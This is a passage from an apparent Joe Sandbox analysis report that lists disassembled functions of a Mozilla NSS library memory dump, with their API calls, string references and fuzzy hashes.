Part of subcall function 6C721560: EnterCriticalSection.KERNEL32(?,?,?,6C6F0844,?), ref: 6C72158F
Part of subcall function 6C721560: PR_Unlock.NSS3(?,?,?,?,6C6F0844,?), ref: 6C7215B2

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: a3a151769bb5259c01fa9fe8e897566ab55a289ac861b1a96727fdced5049408
Instruction ID: 714b3885247457773a464218b294fd57c7f0782fa775b2c3650a006bc6bbedb6
Opcode Fuzzy Hash: a3a151769bb5259c01fa9fe8e897566ab55a289ac861b1a96727fdced5049408
Instruction Fuzzy Hash: 09A1F0B1E00205ABEF109F64DC45AEA77B5BF49308F104125E818A7712E731E95ACBE9

Function 6C6F2C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?ol,?,6C6EE477,?,?,?,00000001,00000000,?,?,6C6F3F23,?), ref: 6C6F2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C6EE477,?,?,?,00000001,00000000,?,?,6C6F3F23,?), ref: 6C6F2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C6EE477,?,?,?,00000001,00000000,?,?,6C6F3F23,?), ref: 6C6F2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C6EE477,?,?,?,00000001,00000000,?,?,6C6F3F23,?), ref: 6C6F2C93

Part of subcall function 6C77DD70: TlsGetValue.KERNEL32 ref: 6C77DD8C
Part of subcall function 6C77DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C77DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C6EE477,?,?,?,00000001,00000000,?,?,6C6F3F23,?), ref: 6C6F2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C6EE477,?,?,?,00000001,00000000,?,?,6C6F3F23,?), ref: 6C6F2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C6EE477,?,?,?,00000001,00000000,?,?,6C6F3F23), ref: 6C6F2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C6EE477,?,?,?,00000001,00000000,?), ref: 6C6F2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C6EE477,?,?,?,00000001,00000000,?), ref: 6C6F2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C6F2D61
PL_HashTableLookup.NSS3(?,?), ref: 6C6F2D71
PR_Unlock.NSS3(?), ref: 6C6F2D7E

Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07AD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07CD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07D6
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C65204A), ref: 6C6C07E4
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,6C65204A), ref: 6C6C0864
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6C0880
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,6C65204A), ref: 6C6C08CB
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08D7
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08FB

Strings

#?ol, xrefs: 6C6F2C43

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?ol
API String ID: 2446853827-445982586
Opcode ID: 4a8d4b52a57344730f1fcdca03e7e9fc6ba64532545819edc2f9bbf51a979f5b
Instruction ID: 88f2e54cfdc38ae3324519d09877848bb6e7758bc3c232d2e8abc460535bb06a
Opcode Fuzzy Hash: 4a8d4b52a57344730f1fcdca03e7e9fc6ba64532545819edc2f9bbf51a979f5b
Instruction Fuzzy Hash: 255109B6D00104ABEB109F24DC498A677B9FF1A35CB048531EC1897B12E731ED65CBE9

Function 6C74AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C74ADB1

Part of subcall function 6C72BE30: SECOID_FindOID_Util.NSS3(6C6E311B,00000000,?,6C6E311B,?), ref: 6C72BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C74ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C74AE08

Part of subcall function 6C72B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8018D0,?), ref: 6C72B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C74AE25
PL_FreeArenaPool.NSS3 ref: 6C74AE63
PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C74AE4D

Part of subcall function 6C654C70: TlsGetValue.KERNEL32(?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654C97
Part of subcall function 6C654C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654CB0
Part of subcall function 6C654C70: PR_Unlock.NSS3(?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C74AE93
PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C74AECC
PL_FreeArenaPool.NSS3 ref: 6C74AEDE
PL_FinishArenaPool.NSS3 ref: 6C74AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C74AEF5
PL_FinishArenaPool.NSS3 ref: 6C74AF16

Strings

security, xrefs: 6C74ADEE

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 78b112c7e913c147de44ca34817982b3d7a7b35b9dcbec978edfe7e345c5002b
Instruction ID: 6459ed0616c7ccf9a136b755b1ea8090dc788ec0b893fb320055ceb5a680708f
Opcode Fuzzy Hash: 78b112c7e913c147de44ca34817982b3d7a7b35b9dcbec978edfe7e345c5002b
Instruction Fuzzy Hash: E3413DB2D0432067E7209A149E4EFBB32ACAF5272CF508535E82996B42F735D618C6D7

Function 6C7EAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C799890: TlsGetValue.KERNEL32(?,?,?,6C7997EB), ref: 6C79989E

EnterCriticalSection.KERNEL32(?), ref: 6C7EAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C7EAFCE
PR_SetPollableEvent.NSS3(?), ref: 6C7EAFD9
EnterCriticalSection.KERNEL32(?), ref: 6C7EAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C7EB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C7EB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C7EB070
PR_JoinThread.NSS3(?), ref: 6C7EB07B
free.MOZGLUE(?), ref: 6C7EB084
EnterCriticalSection.KERNEL32(?), ref: 6C7EB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C7EB0C4
PR_JoinThread.NSS3(?), ref: 6C7EB0F3
free.MOZGLUE(?), ref: 6C7EB0FC
PR_JoinThread.NSS3(?), ref: 6C7EB137
free.MOZGLUE(?), ref: 6C7EB140

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 192d3fadc5e91967e52c676d4ace752c844b3ddfc1af20fafcc5f8d6fe0f7f8a
Instruction ID: bb829e7b980b0576f1a6e13ef62fe76a2e899f74f7634bdc6e9dc29a6dc6bfc1
Opcode Fuzzy Hash: 192d3fadc5e91967e52c676d4ace752c844b3ddfc1af20fafcc5f8d6fe0f7f8a
Instruction Fuzzy Hash: 2E917BB6900601DFCB00DF15D98885ABBF1FF4935872985A9D8199BB22E732FC56CBC4

Function 6C765CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C762BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C762A28,00000060,00000001), ref: 6C762BF0
Part of subcall function 6C762BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C762A28,00000060,00000001), ref: 6C762C07
Part of subcall function 6C762BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C762A28,00000060,00000001), ref: 6C762C1E
Part of subcall function 6C762BE0: free.MOZGLUE(?,00000000,00000000,?,6C762A28,00000060,00000001), ref: 6C762C4A

free.MOZGLUE(?,?,6C76AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765D0F
free.MOZGLUE(?,?,?,6C76AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765D4E
free.MOZGLUE(?,?,?,6C76AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765D62
free.MOZGLUE(?,?,?,?,6C76AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765D85
free.MOZGLUE(?,?,?,?,6C76AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765D99
free.MOZGLUE(?,?,?,?,6C76AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C76AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C76AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C765E3E
free.MOZGLUE(?,?,?,?,?,?,6C76AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C765E47
free.MOZGLUE(?,?,?,?,6C76AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7680C1), ref: 6C765E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C76AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C765E78
free.MOZGLUE(?,?,?,?,?,?,?,6C76AAD4), ref: 6C765EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C76AAD4), ref: 6C765EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C76AAD4), ref: 6C765F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C76AAD4), ref: 6C765F4B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 4cc52f2f5b647992bb2ed108cd0d39ff75e55cf68ff78aafaaf1f16f6efde825
Instruction ID: 167f3934c13dbdea47e9c9199e6aa2fa451f8876f1e3f4ff9c51b8fdcbe1041d
Opcode Fuzzy Hash: 4cc52f2f5b647992bb2ed108cd0d39ff75e55cf68ff78aafaaf1f16f6efde825
Instruction Fuzzy Hash: 3171A1B5A00B019FE750CF20D989A9277B5BF49308F148539E85E87B12EB31F955CB91

Function 6C6E8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C6E8E22
EnterCriticalSection.KERNEL32(?), ref: 6C6E8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C6E8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C6E8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C6E8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6E8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C6E8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C6E8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C6E8F00
free.MOZGLUE(?), ref: 6C6E8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C6E8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C6E8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C6E8F5B
PR_Unlock.NSS3(?), ref: 6C6E8F72
PR_Unlock.NSS3(?), ref: 6C6E8F82

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: ea9f5c83e48d787b72955dedbf9994c6cf39a5842b803a672449d752c844d0b2
Instruction ID: c6e255cc7a3cf07e17dc9de7186c87bee1281b629fdc3bdf59cafe51706cc188
Opcode Fuzzy Hash: ea9f5c83e48d787b72955dedbf9994c6cf39a5842b803a672449d752c844d0b2
Instruction Fuzzy Hash: 775116B2E052059FEB108F6CCC889AAB7B9EF5D358F14452AE8089B710E731ED45C7E5

Function 6C70CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C70CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C70CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C70CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C70CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C70CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C70CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C70CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C70CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C70CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C70CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C70CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C70CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C70CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C70D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C70D021

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: b1951ee4e2000ed8b5c55e15933291d7efc3aa70bf16cacadac9e3984ffcf4ae
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 7B3112B1B62A1027EF0D50565F2DB9E148E8B6531EF440038F90AF57C1F6C9971703A9

Function 6C7E0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C7E1000

Part of subcall function 6C799BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6C1A48), ref: 6C799BB3
Part of subcall function 6C799BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6C1A48), ref: 6C799BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C7E1016

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

PR_Unlock.NSS3(?), ref: 6C7E1021

Part of subcall function 6C77DD70: TlsGetValue.KERNEL32 ref: 6C77DD8C
Part of subcall function 6C77DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C77DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C7E1046
PR_Unlock.NSS3(?), ref: 6C7E106B
PR_Lock.NSS3 ref: 6C7E1079
PR_Unlock.NSS3 ref: 6C7E1096
free.MOZGLUE(?), ref: 6C7E10A7
free.MOZGLUE(?), ref: 6C7E10B4
PR_DestroyCondVar.NSS3(?), ref: 6C7E10BF
PR_DestroyCondVar.NSS3(?), ref: 6C7E10CA
PR_DestroyCondVar.NSS3(?), ref: 6C7E10D5
PR_DestroyCondVar.NSS3(?), ref: 6C7E10E0
PR_DestroyLock.NSS3(?), ref: 6C7E10EB
free.MOZGLUE(?), ref: 6C7E1105

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 3878dd9554229c31b9beaa874fe181dbcba0f6516b07e9fdc189400e1be6f8bc
Instruction ID: 8931f63faaa11015e6c9a246e877880a933015e0dcabc79bcdac0fda2534eeee
Opcode Fuzzy Hash: 3878dd9554229c31b9beaa874fe181dbcba0f6516b07e9fdc189400e1be6f8bc
Instruction Fuzzy Hash: 39316DB6A00401ABEB219F54EE4AA45B7B1FF1531DB184131E80913F62E732F978DBD6

Function 6C65DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C65DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C65DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C65DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C65DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C65DECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C65DF6D, 6C65DFCC, 6C65DFDD
database corruption, xrefs: 6C65DF77, 6C65DFE7
%s at line %d of [%.10s], xrefs: 6C65DF7C, 6C65DFEC

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: ff44ff1874c1911cc94b9f0ed376ce641294f67ebcfa0968fd867ec7b2fffbe2
Instruction ID: 22b0cf506e47a85c3a2fb6367be319976774acddf9ac22ef42f41422c10ccaf1
Opcode Fuzzy Hash: ff44ff1874c1911cc94b9f0ed376ce641294f67ebcfa0968fd867ec7b2fffbe2
Instruction Fuzzy Hash: AAA1C5717043019FC710DF29CA80A6AB7F5EF85308F65892DF8898BB91E731E865CB95

Function 6C71EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C71EE0B

Part of subcall function 6C730BE0: malloc.MOZGLUE(6C728D2D,?,00000000,?), ref: 6C730BF8
Part of subcall function 6C730BE0: TlsGetValue.KERNEL32(6C728D2D,?,00000000,?), ref: 6C730C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C71EEE1

Part of subcall function 6C711D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C711D7E
Part of subcall function 6C711D50: EnterCriticalSection.KERNEL32(?), ref: 6C711D8E
Part of subcall function 6C711D50: PR_Unlock.NSS3(?), ref: 6C711DD3

TlsGetValue.KERNEL32 ref: 6C71EE51
EnterCriticalSection.KERNEL32(?), ref: 6C71EE65
PR_Unlock.NSS3(?), ref: 6C71EEA2
free.MOZGLUE(?), ref: 6C71EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C71EED0
PR_Unlock.NSS3(?), ref: 6C71EF48
free.MOZGLUE(?), ref: 6C71EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C71EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C71EFA4
free.MOZGLUE(?), ref: 6C71EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C71F055
free.MOZGLUE(?), ref: 6C71F060

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 296cce65348c8cdf6b6ea8310f169cf3dc84f4fba365d916b9017ff96e248031
Instruction ID: 2d126c1737240b5289a093fd898334e04800f970f576b4fdcb331ad0e4c9bea9
Opcode Fuzzy Hash: 296cce65348c8cdf6b6ea8310f169cf3dc84f4fba365d916b9017ff96e248031
Instruction Fuzzy Hash: 108162B1A042099BEF109F65DD49ADE7BB9BF08318F184034ED09A7B11E731E924CBE1

Function 6C6E4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C6E4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C6E4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C6E4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C6E4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C6E4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C6E4E85
DER_Encode_Util.NSS3(?,?,6C8305A4,00000000), ref: 6C6E4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C6E4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C6E4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6E4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C6E4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6E4F89
